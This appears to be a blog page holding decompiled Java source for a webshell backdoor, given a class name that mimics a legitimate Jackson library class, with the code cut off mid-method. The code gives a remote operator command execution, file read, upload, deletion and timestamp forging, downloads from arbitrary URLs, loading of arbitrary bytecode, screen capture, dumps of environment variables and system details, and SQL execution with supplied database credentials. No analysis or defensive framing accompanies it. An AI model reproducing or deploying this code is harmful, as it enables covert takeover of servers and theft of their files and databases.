java.util.ArrayList;import java.util.Arrays;import java.util.Date;import java.util.Enumeration;import java.util.HashMap;import java.util.Hashtable;import java.util.Iterator;import java.util.List;import java.util.Map;import java.util.Properties;import java.util.Random;import java.util.zip.GZIPInputStream;import java.util.zip.GZIPOutputStream;import javax.imageio.ImageIO;public class JacksonAnnotationIntrospector extends ClassLoader { public static final char[] toBase64 = new char[]{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'}; private static Map sessionMap = new Hashtable(); Map parameterMap; byte[] requestData; ByteArrayOutputStream outputStream; Object servletRequest; Map session; public JacksonAnnotationIntrospector() { } public JacksonAnnotationIntrospector(ClassLoader var1) { super(var1); } public Class defineClass(byte[] var1) { return super.defineClass((String)null, var1, 0, var1.length, this.getClass().getProtectionDomain()); } public byte[] run() { try { String var1 = this.get("evalClassName"); String var20 = this.get("methodName"); if (var20 == null) { return "Method is empty".getBytes(); } else { Object var21 = null; if (var1 != null) { Class var4 = (Class)this.session.get(var1); if (var4 == null) { return "Plugin module not loaded".getBytes(); } this.parameterMap.put("sessionTable", this.session); this.parameterMap.put("servletRequest", this.servletRequest); var21 = var4.newInstance(); } Method var22 = null; boolean var5 = var21 != null; Class var6 = var5 ? var21.getClass() : this.getClass(); var21 = var5 ? var21 : this; byte[] var7 = this.getByteArray("invokeMethod"); Class[] var8 = new Class[1]; Object[] var9 = new Object[]{var21}; if (var7 != null || !var5) { Class var10002; try { var10002 = class$0; if (var10002 == null) { try { var10002 = Class.forName("java.util.Map"); } catch (ClassNotFoundException var17) { throw new NoClassDefFoundError(var17.getMessage()); } class$0 = var10002; } var8[0] = var10002; var22 = var6.getMethod(var20, var8); } catch (NoSuchMethodException var18) { try { var10002 = class$1; if (var10002 == null) { try { var10002 = Class.forName("java.util.Dictionary"); } catch (ClassNotFoundException var15) { throw new NoClassDefFoundError(var15.getMessage()); } class$1 = var10002; } var8[0] = var10002; var22 = var6.getMethod(var20, var8); } catch (NoSuchMethodException var16) { try { var8 = new Class[0]; var9 = new Object[0]; var22 = var6.getMethod(var20, var8); } catch (NoSuchMethodException var14) { return "No Such Method".getBytes(); } } } } Object var10 = null; if (var22 != null) { var10 = var22.invoke(var21, var9); } else { var21.equals(this.parameterMap); var21.toString(); var10 = this.parameterMap.get("result"); } Class var10000 = class$2; if (var10000 == null) { try { var10000 = Class.forName("[B"); } catch (ClassNotFoundException var13) { throw new NoClassDefFoundError(var13.getMessage()); } class$2 = var10000; } if (var10000.isInstance(var10)) { return (byte[])var10; } else { var10000 = class$3; if (var10000 == null) { try { var10000 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage()); } class$3 = var10000; } if (var10000.isInstance(var10)) { return ((String)var10).getBytes(); } else { var10000 = class$0; if (var10000 == null) { try { var10000 = Class.forName("java.util.Map"); } catch (ClassNotFoundException var11) { throw new NoClassDefFoundError(var11.getMessage()); } class$0 = var10000; } return var10000.isInstance(var10) ? this.serialize((Map)var10) : "Incorrect return type".getBytes(); } } } } catch (Throwable var19) { ByteArrayOutputStream var2 = new ByteArrayOutputStream(); PrintStream var3 = new PrintStream(var2); var19.printStackTrace(var3); var3.flush(); var3.close(); return var2.toByteArray(); } } public HashMap deserialize(byte[] var1, boolean var2) { HashMap var3 = new HashMap(); ByteArrayInputStream var4 = new ByteArrayInputStream(var1); ByteArrayOutputStream var5 = new ByteArrayOutputStream(); byte[] var6 = new byte[4]; try { Object var7 = var4; if (var2) { var7 = new GZIPInputStream(var4); } while(true) { byte var8 = (byte)((InputStream)var7).read(); if (var8 == -1) { break; } int var9; String var10; if (var8 == 1) { ((InputStream)var7).read(var6); var9 = bytesToInt(var6); var10 = var5.toString(); var3.put(var10, this.deserialize(this.readInputStream((InputStream)var7, var9), false)); var5.reset(); } else if (var8 == 2) { ((InputStream)var7).read(var6); var9 = bytesToInt(var6); var10 = var5.toString(); var3.put(var10, this.readInputStream((InputStream)var7, var9)); var5.reset(); } else { var5.write(var8); } } } catch (Exception var11) { } return var3; } public byte[] serialize(Map var1) { Iterator var2 = var1.keySet().iterator(); ByteArrayOutputStream var3 = new ByteArrayOutputStream(); while(var2.hasNext()) { try { String var4 = (String)var2.next(); Object var5 = var1.get(var4); var3.write(var4.getBytes()); byte[] var6; if (var5 instanceof byte[]) { var3.write(2); var6 = (byte[])var5; } else if (var5 instanceof Map) { var3.write(1); var6 = this.serialize((Map)var5); } else { var3.write(2); if (var5 == null) { var6 = "NULL".getBytes(); } else { var6 = var5.toString().getBytes(); } } var3.write(intToBytes(var6.length)); var3.write(var6); } catch (Exception var7) { } } return var3.toByteArray(); } public boolean equals(Object var1) { return var1 != null && this.handle(var1); } public boolean handle(Object var1) { if (var1 == null) { return false; } else { Class var10000 = class$4; if (var10000 == null) { try { var10000 = Class.forName("java.io.ByteArrayOutputStream"); } catch (ClassNotFoundException var3) { throw new NoClassDefFoundError(var3.getMessage()); } class$4 = var10000; } if (var10000.isInstance(var1)) { this.outputStream = (ByteArrayOutputStream)var1; } else { var10000 = class$2; if (var10000 == null) { try { var10000 = Class.forName("[B"); } catch (ClassNotFoundException var2) { throw new NoClassDefFoundError(var2.getMessage()); } class$2 = var10000; } if (var10000.isInstance(var1)) { this.requestData = (byte[])var1; } else if (this.supportClass(var1, ".servlet.http.HttpServletRequest")) { this.servletRequest = var1; } } return false; } } private boolean supportClass(Object var1, String var2) { if (var1 == null) { return false; } else { boolean var3 = false; Class var4 = null; try { try { var4 = Class.forName("javax" + var2, true, var1.getClass().getClassLoader()); } catch (Exception var5) { var4 = Class.forName("jakarta" + var2, true, var1.getClass().getClassLoader()); } } catch (Exception var6) { } if (var4 != null && var4.isInstance(var1)) { var3 = true; } return var3; } } public String toString() { if (this.outputStream != null && this.requestData != null) { try { this.parameterMap = this.deserialize(this.requestData, true); String var1 = this.sessionId(); if (var1 != null) { this.session = (Map)sessionMap.get(var1); } String var2 = this.get("methodName"); if (var2 == null || this.session == null && !"test".equals(var2)) { return super.toString(); } GZIPOutputStream var3 = new GZIPOutputStream(this.outputStream); byte[] var4 = this.run(); var3.write(var4); var3.close(); this.outputStream.close(); this.parameterMap = null; this.requestData = null; this.outputStream = null; this.servletRequest = null; this.session = null; } catch (Throwable var5) { } } return super.toString(); } public String get(String var1) { try { return new String((byte[])this.parameterMap.get(var1)); } catch (Exception var2) { return null; } } public byte[] getByteArray(String var1) { try { return (byte[])this.parameterMap.get(var1); } catch (Exception var2) { return null; } } public byte[] test() { HashMap var1 = new HashMap(); String var2 = this.sessionId(); if (this.session == null) { var2 = getRandomString(16); this.session = new Hashtable(); this.session.put("alive", Boolean.TRUE); sessionMap.put(var2, this.session); } var1.put("sessionId", var2); return this.serialize(var1); } public byte[] getFile() { String var1 = this.get("dirName"); HashMap var2 = new HashMap(); if (var1 != null) { var1 = var1.trim(); try { String var3 = (new File(var1)).getAbsoluteFile() + "/"; File var16 = new File(var3); if (var16.exists() && var16.isDirectory()) { File[] var5 = var16.listFiles(); if (var5 != null) { for(int var6 = 0; var6 < var5.length; ++var6) { HashMap var7 = new HashMap(); File var8 = var5[var6]; try { var7.put("0", var8.getName()); var7.put("1", var8.isDirectory() ? "0" : "1"); var7.put("2", (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(new Date(var8.lastModified()))); var7.put("3", Long.toString(var8.length())); StringBuffer var9 = (new StringBuffer(String.valueOf(var8.canRead() ? "R" : ""))).append(var8.canWrite() ? "W" : ""); try { Class var10001 = class$5; if (var10001 == null) { try { var10001 = Class.forName("java.io.File"); } catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage()); } class$5 = var10001; } Method var10 = this.getMethodByClass(var10001, "canExecute", (Class[])null); if (var10 != null) { Boolean var11 = (Boolean)var10.invoke(var8); if (var11) { var9.append("X"); } } } catch (Throwable var13) { } String var17 = var9.toString(); var7.put("4", var17 != null && var17.trim().length() != 0 ? var17 : "F"); } catch (Throwable var14) { var7.put("errMsg", var14.getMessage()); } var2.put(String.valueOf(var6), var7); } var2.put("count", String.valueOf(var5.length)); var2.put("currentDir", var3); } } else { var2.put("errMsg", "dir does not exist"); } } catch (Exception var15) { StringBuffer var4 = new StringBuffer(); var4.append("Exception errMsg:"); var4.append(var15.getMessage()); var2.put("errMsg", var4.toString()); } } else { var2.put("errMsg", "No parameter dirName"); } return this.serialize(var2); } public String listFileRoot() { File[] var1 = File.listRoots(); String var2 = new String(); for(int var3 = 0; var3 < var1.length; ++var3) { var2 = var2 + var1[var3].getPath(); var2 = var2 + ";"; } return var2; } public byte[] fileRemoteDown() { String var1 = this.get("url"); String var2 = this.get("saveFile"); if (var1 != null && var2 != null) { FileOutputStream var3 = null; try { InputStream var4 = (new URL(var1)).openStream(); var3 = new FileOutputStream(var2); byte[] var9 = new byte[5120]; int var6; while((var6 = var4.read(var9)) != -1) { var3.write(var9, 0, var6); } var3.flush(); var3.close(); var4.close(); return "ok".getBytes(); } catch (Exception var8) { if (var3 != null) { try { var3.close(); } catch (IOException var7) { return var7.getMessage().getBytes(); } } StringBuffer var5 = new StringBuffer(); var5.append("Exception errMsg:"); var5.append(var8.getMessage()); return var5.toString().getBytes(); } } else { return "url or saveFile is null".getBytes(); } } public byte[] setFileAttr() { String var1 = this.get("type"); String var2 = this.get("attr"); String var3 = this.get("fileName"); String var4 = "Null"; if (var1 != null && var2 != null && var3 != null) { try { File var5 = new File(var3); if ("fileBasicAttr".equals(var1)) { Class var10001 = class$5; if (var10001 == null) { try { var10001 = Class.forName("java.io.File"); } catch (ClassNotFoundException var27) { throw new NoClassDefFoundError(var27.getMessage()); } class$5 = var10001; } if (this.getMethodByClass(var10001, "setWritable", new Class[]{Boolean.TYPE}) != null) { if (var2.indexOf("R") != -1) { var5.setReadable(true); } if (var2.indexOf("W") != -1) { var5.setWritable(true); } if (var2.indexOf("X") != -1) { var5.setExecutable(true); } var4 = "ok"; } else { var4 = "Java version is less than 1.6"; } } else if ("fileTimeAttr".equals(var1)) { Date var29 = new Date(0L); StringBuffer var7 = new StringBuffer(); var7.append(var2); char[] var8 = new char[13 - var7.length()]; Arrays.fill(var8, '0'); var7.append(var8); var29 = new Date(var29.getTime() + Long.parseLong(var7.toString())); var5.setLastModified(var29.getTime()); var4 = "ok"; try { Class var9 = Class.forName("java.nio.file.Paths"); Class var10 = Class.forName("java.nio.file.Path"); Class var11 = Class.forName("java.nio.file.attribute.BasicFileAttributeView"); Class var12 = Class.forName("java.nio.file.Files"); Class var13 = Class.forName("java.nio.file.attribute.FileTime"); Class var14 = Class.forName("[java.nio.file.LinkOption"); Class[] var10002 = new Class[2]; Class var10005 = class$3; if (var10005 == null) { try { var10005 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var25) { throw new NoClassDefFoundError(var25.getMessage()); } class$3 = var10005; } var10002[0] = var10005; var10005 = class$6; if (var10005 == null) { try { var10005 = Class.forName("[Ljava.lang.String;"); } catch (ClassNotFoundException var24) { throw new NoClassDefFoundError(var24.getMessage()); } class$6 = var10005; } var10002[1] = var10005; Method var15 = var9.getMethod("get", var10002); Method var16 = var13.getMethod("fromMillis", Long.TYPE); var10002 = new Class[]{var10, null, null}; var10005 = class$7; if (var10005 == null) { try { var10005 = Class.forName("java.lang.Class"); } catch (ClassNotFoundException var23) { throw new NoClassDefFoundError(var23.getMessage()); } class$7 = var10005; } var10002[1] = var10005; var10002[2] = var14; Method var17 = var12.getMethod("getFileAttributeView", var10002); Method var18 = var11.getMethod("setTimes", var13, var13, var13); Object var19 = var15.invoke((Object)null, var3, new String[0]); Object var20 = Array.newInstance(var14.getComponentType(), 0); Object var21 = var17.invoke((Object)null, var19, var11, var20); Object var22 = var16.invoke((Object)null, var29.getTime()); var18.invoke(var21, var22, var22, var22); } catch (Throwable var26) { } } else { var4 = "no ExcuteType"; } } catch (Throwable var28) { StringBuffer var6 = new StringBuffer(); var6.append("Exception errMsg:"); var6.append(var28.getMessage()); return var6.toString().getBytes(); } } else { var4 = "type or attr or fileName is empty"; } return var4.getBytes(); } public byte[] readFile() { String var1 = this.get("fileName"); if (var1 != null) { File var2 = new File(var1); try { if (var2.exists() && var2.isFile()) { if (var2.length() > 204800L) { return "The file is too large, please use the large file to download".getBytes(); } else { byte[] var3 = new byte[(int)var2.length()]; FileInputStream var4; if (var3.length > 0) { var4 = new FileInputStream(var2); var3 = this.readInputStream(var4, var3.length); var4.close(); } else { var3 = new byte[204800]; var4 = new FileInputStream(var2); int var5 = var4.read(var3); if (var5 > 0) { var3 = new byte[var5]; System.arraycopy(var3, 0, var3, 0, var3.length); } var4.close(); } return var3; } } else { return "file does not exist".getBytes(); } } catch (Exception var6) { return var6.getMessage().getBytes(); } } else { return "No parameter fileName".getBytes(); } } public byte[] uploadFile() { String var1 = this.get("fileName"); byte[] var2 = this.getByteArray("fileValue"); if (var1 != null && var2 != null) { try { File var3 = new File(var1); var3.createNewFile(); FileOutputStream var4 = new FileOutputStream(var3); var4.write(var2); var4.close(); return "ok".getBytes(); } catch (Exception var5) { return var5.getMessage().getBytes(); } } else { return "No parameter fileName and fileValue".getBytes(); } } public byte[] newFile() { String var1 = this.get("fileName"); if (var1 != null) { File var2 = new File(var1); try { return var2.createNewFile() ? "ok".getBytes() : "fail".getBytes(); } catch (Exception var5) { StringBuffer var4 = new StringBuffer(); var4.append("Exception errMsg:"); var4.append(var5.getMessage()); return var4.toString().getBytes(); } } else { return "No parameter fileName".getBytes(); } } public byte[] newDir() { String var1 = this.get("dirName"); if (var1 != null) { File var2 = new File(var1); try { return var2.mkdirs() ? "ok".getBytes() : "fail".getBytes(); } catch (Exception var5) { StringBuffer var4 = new StringBuffer(); var4.append("Exception errMsg:"); var4.append(var5.getMessage()); return var4.toString().getBytes(); } } else { return "No parameter fileName".getBytes(); } } public byte[] deleteFile() { String var1 = this.get("fileName"); String var2 = "mem://"; if (var1 != null) { if (var1.startsWith(var2)) { this.session.remove(var1); return "ok".getBytes(); } else { try { File var3 = new File(var1); this.deleteFiles(var3); return "ok".getBytes(); } catch (Exception var5) { StringBuffer var4 = new StringBuffer(); var4.append("Exception errMsg:"); var4.append(var5.getMessage()); return var4.toString().getBytes(); } } } else { return "No parameter fileName".getBytes(); } } public byte[] moveFile() { String var1 = this.get("srcFileName"); String var2 = this.get("destFileName"); if (var1 != null && var2 != null) { File var3 = new File(var1); try { if (var3.exists()) { return var3.renameTo(new File(var2)) ? "ok".getBytes() : "fail".getBytes(); } else { return "The target does not exist".getBytes(); } } catch (Exception var6) { StringBuffer var5 = new StringBuffer(); var5.append("Exception errMsg:"); var5.append(var6.getMessage()); return var5.toString().getBytes(); } } else { return "No parameter srcFileName,destFileName".getBytes(); } } public byte[] copyFile() { String var1 = this.get("srcFileName"); String var2 = this.get("destFileName"); if (var1 != null && var2 != null) { File var3 = new File(var1); File var4 = new File(var2); try { if (var3.exists() && var3.isFile()) { FileInputStream var5 = new FileInputStream(var3); FileOutputStream var6 = new FileOutputStream(var4); byte[] var7 = new byte[5120]; int var8; while((var8 = var5.read(var7)) > -1) { var6.write(var7, 0, var8); } var5.close(); var6.close(); return "ok".getBytes(); } else { return "The target does not exist or is not a file".getBytes(); } } catch (Exception var9) { return var9.getMessage().getBytes(); } } else { return "No parameter srcFileName,destFileName".getBytes(); } } public byte[] include() { byte[] var1 = this.getByteArray("binCode"); String var2 = this.get("codeName"); if (var1 != null && var2 != null) { try { JacksonAnnotationIntrospector var3 = new JacksonAnnotationIntrospector(this.getClass().getClassLoader()); Class var4 = var3.defineClass(var1); this.session.put(var2, var4); return "ok".getBytes(); } catch (Exception var5) { return this.session.get(var2) != null ? "ok".getBytes() : var5.getMessage().getBytes(); } } else { return "No parameter binCode,codeName".getBytes(); } } public byte[] execCommand() { String var1 = this.get("argsCount"); if (var1 != null && var1.length() > 0) { int var2 = Integer.parseInt(var1); String[] var3 = new String[var2]; for(int var4 = 0; var4 < var3.length; ++var4) { var3[var4] = this.get("arg-" + var4); } try { Process var11 = Runtime.getRuntime().exec(var3); if (var11 == null) { return "Unable to start process".getBytes(); } else { InputStream var12 = var11.getInputStream(); InputStream var6 = var11.getErrorStream(); ByteArrayOutputStream var7 = new ByteArrayOutputStream(1024); byte[] var8 = new byte[1042]; int var9; if (var12 != null) { while((var9 = var12.read(var8)) > 0) { var7.write(var8, 0, var9); } } if (var6 != null) { while((var9 = var6.read(var8)) > 0) { var7.write(var8, 0, var9); } } return var7.toByteArray(); } } catch (Exception var10) { StringBuffer var5 = new StringBuffer(); var5.append("Exception errMsg:"); var5.append(var10.getMessage()); return var5.toString().getBytes(); } } else { return "No parameter argsCount".getBytes(); } } public byte[] getBasicsInfo() { String var1 = ""; try { Enumeration var2 = System.getProperties().keys(); var1 = var1 + "FileRoot : " + this.listFileRoot() + "\n"; var1 = var1 + "CurrentDir : " + (new File("")).getAbsoluteFile() + "/" + "\n"; var1 = var1 + "CurrentUser : " + System.getProperty("user.name") + "\n"; var1 = var1 + "ProcessArch : " + System.getProperty("sun.arch.data.model") + "\n"; String var9; try { var9 = System.getProperty("java.io.tmpdir"); char var4 = var9.charAt(var9.length() - 1); if (var4 != '\\' && var4 != '/') { var9 = var9 + File.separator; } var1 = var1 + "TempDirectory : " + var9 + "\n"; } catch (Exception var7) { } var1 = var1 + "RealFile : " + this.getRealPath() + "\n"; try { var1 = var1 + "OsInfo : os.name: " + System.getProperty("os.name") + " os.version: " + System.getProperty("os.version") + " os.arch: " + System.getProperty("os.arch") + "\n"; } catch (Exception var6) { var1 = var1 + "OsInfo : " + var6.getMessage() + "\n"; } for(var1 = var1 + "IPList : " + getLocalIPList() + "\n"; var2.hasMoreElements(); var1 = var1 + var9 + " : " + System.getProperty(var9) + "\n") { var9 = (String)var2.nextElement(); } Map var11 = this.getEnv(); String var10; if (var11 != null) { for(Iterator var5 = var11.keySet().iterator(); var5.hasNext(); var1 = var1 + var10 + " : " + var11.get(var10) + "\n") { var10 = (String)var5.next(); } } return var1.getBytes(); } catch (Exception var8) { StringBuffer var3 = new StringBuffer(); var3.append(var1); var3.append("Exception errMsg:"); var3.append(var8.getMessage()); return var3.toString().getBytes(); } } public byte[] screen() { try { Robot var1 = new Robot(); BufferedImage var6 = var1.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height)); ByteArrayOutputStream var3 = new ByteArrayOutputStream(); ImageIO.write(var6, "png", ImageIO.createImageOutputStream(var3)); byte[] var4 = var3.toByteArray(); var3.close(); return var4; } catch (Throwable var5) { StringBuffer var2 = new StringBuffer(); var2.append("Exception errMsg:"); var2.append(var5.getMessage()); return var2.toString().getBytes(); } } public byte[] execSql() throws Exception { String var1 = this.get("dbCharset"); String var2 = this.get("jdbcURL"); String var3 = this.get("dbDriver"); String var4 = this.get("dbUsername"); String var5 = this.get("dbPassword"); String var6 = this.get("execType"); if (var1 == null || var1.trim().length() > 0) { var1 = "UTF-8"; } String var7 = new String(this.getByteArray("execSql"), var1); HashMap var8 = new HashMap(); if (var4 != null && var5 != null && var6 != null && var7 != null) { try { try { if (var3 != null) { Class.forName(var3); } } catch (Throwable var30) { } try { Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver"); } catch (Throwable var29) { } try { Class.forName("oracle.jdbc.driver.OracleDriver"); } catch (Throwable var28) { try { Class.forName("oracle.jdbc.OracleDriver"); } catch (Throwable var27) { } } try { Class.forName("com.mysql.cj.jdbc.Driver"); } catch (Throwable var26) { try { Class.forName("com.mysql.jdbc.Driver"); } catch (Throwable var25) { } } try { Class.forName("org.postgresql.Driver"); } catch (Throwable var24) { } if (var2 != null) { try { Connection var9 = null; try { var9 = getConnection(var2, var4, var5); } catch (Exception var23) { } if (var9 == null) { var9 = DriverManager.getConnection(var2, var4, var5); } Statement var10 = var9.createStatement(); if (var6.equals("select")) { ResultSet var11 = var10.executeQuery(var7); ResultSetMetaData var12 = var11.getMetaData(); int var13 = var12.getColumnCount(); HashMap var14 = new HashMap(); for(int var15 = 0; var15 < var13; ++var15) { var14.put(String.valueOf(var15), var12.getColumnName(var15 + 1)); } var14.put("count", String.valueOf(var13)); var8.put("column", var14); HashMap var34 = new HashMap(); int var16 = 0; for(int var17 = 0; var11.next(); ++var17) { HashMap var18 = new HashMap(); for(int var19 = 0; var19 < var13; ++var19) { Object var20 = var11.getObject(var19 + 1); String var21 = null; if (var20 == null) { var21 = "NULL"; } else { Class var10000 = class$2; if (var10000 == null) { try { var10000 = Class.forName("[B"); } catch (ClassNotFoundException var22) { throw new NoClassDefFoundError(var22.getMessage()); } class$2 = var10000; } if (var10000.isInstance(var20)) { var21 = this.base64Encode((byte[])var20); } else { var21 = var20.toString(); } } var18.put(String.valueOf(var19), var21); } ++var16; var34.put(String.valueOf(var17), var18); } var34.put("count", String.valueOf(var16)); var8.put("rows", var34); var11.close(); var10.close(); var9.close(); } else { int var33 = var10.executeUpdate(var7); var10.close(); var9.close(); var8.put("errMsg", "Query OK, " + var33 + " rows affected"); } } catch (Exception var31) { var8.put("errMsg", var31.getMessage()); } } else { var8.put("errMsg", "This database is not supported"); } } catch (Exception var32) { var8.put("errMsg", var32.getMessage()); } } else { var8.put("errMsg", "No parameter dbType,dbHost,dbPort,dbUsername,dbPassword,execType,execSql"); } return this.serialize(var8); } public byte[] close() { try { String var1 = this.sessionId(); String var2 = this.get("operation"); if (var1 != null) { Map var7 = (Map)sessionMap.remove(var1); var7.put("alive", Boolean.FALSE); return "ok".getBytes(); } else if (var2 != null && "clearup".equals(var2)) { Iterator var3 = sessionMap.values().iterator(); while(var3.hasNext()) { Object var4 = var3.next(); Class var10000 = class$0; if (var10000 == null) { try { var10000 = Class.forName("java.util.Map"); } catch (ClassNotFoundException var5) { throw new NoClassDefFoundError(var5.getMessage()); } class$0 = var10000; } if (var10000.isInstance(var4)) { ((Map)var4).put("alive", Boolean.FALSE); } }
- 点赞
- 收藏
- 关注作者
评论(0)